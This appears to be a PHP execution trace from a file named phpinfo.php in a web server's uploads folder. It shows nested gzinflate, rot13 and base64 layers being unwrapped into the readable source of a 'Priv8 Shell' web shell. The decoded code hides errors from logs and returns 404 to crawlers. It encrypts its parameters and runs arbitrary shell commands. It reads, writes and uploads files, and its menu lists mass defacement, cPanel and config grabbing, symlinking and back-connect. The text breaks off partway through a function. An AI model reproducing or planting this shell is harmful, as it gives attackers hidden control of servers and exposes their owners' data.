4	18	0	0.017982	665480	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code	2	1	'rF0wz\ri\032[n\022\001\002$;\t\016\020;\t\002\024\t\002~\025oG|qay$\'pER{\026\t5+3+3++f\031o&h4\034}qu"/W\037o\017/\030^swYl\036j_&9.3Nz\031euX\036KLF\r·t6I\037Av7ちgoxYW_Ħ 7\037b\004߾T|136n?&./^j{\021+\\8WW_od8Yj\\\'pD߯7r%yb?&͝1!@+h)L\005}8\\ZJ$\001Aw\006y\025\006-P]^\020\016;NX\033sc\\\vp>\032\031\033\033b\036C'
4	18	1	0.019398	821160
4	18	R			'@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'hgs-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\'])) '
4	19	0	0.019625	767880	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code	2	1	'@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'hgs-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\'])) '
4	19	1	0.019908	923560
4	19	R			'@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'utf-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) '
4	20	0	0.023312	1377144	eval	1	'@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'utf-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\n$hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n$xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($xd))))));\r\n$configs = "KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($configs))))));\r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'Priv8 Shell\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie("</br></br></br>\r\n\t\r\n\t<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'><img src=\'https://i.imgur.com/4Fq8k1E.png\' align=\'center\'><br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'>>\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer; \'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> " . VERSION ."</title>\r\n\t<link href=\'https://fonts.googleapis.com/css?family=Open+Sans\' rel=\'stylesheet\'>\r\n<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } \r\n\t\r\n\tcanvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url(\'https://i.imgur.com/gL0UG8Y.png\'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); }\r\n\tspan,h1,a\t{color:#ff1111 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ff1111;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\');}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Open Sans\', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#ff1111;}\r\n\tinput[type=\'button\']{background-color:#ff1111;}\r\n\tinput[type=\'submit\']:hover{background-color:#ff1111;}\r\n\tinput[type=\'button\']:hover{background-color:#ff1111;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt \'Open Sans\', sans-serif;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'Windows-1251\', \'UTF-8\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $▟)\r\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Adminer\',\'Terminal\'=>\'Console\',\'Mass User\'=>\'Edituser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Symlink\'=>\'Sym\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Bypass\'=>\'bypas\',\'BC\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'▛\']))\r\n\tif (isset($_REQUEST[\'xd\'])) {\r\n\t\t$m[\'Reseller\'] = \'Reseller\'; }\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self Remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#ffffff><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#ffffff\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t\r\n\t\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$▖ = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$▖);\r\n\t\t$▖ = @join("\\n",$▖);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$▖ = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$▖ = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$▖ .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? 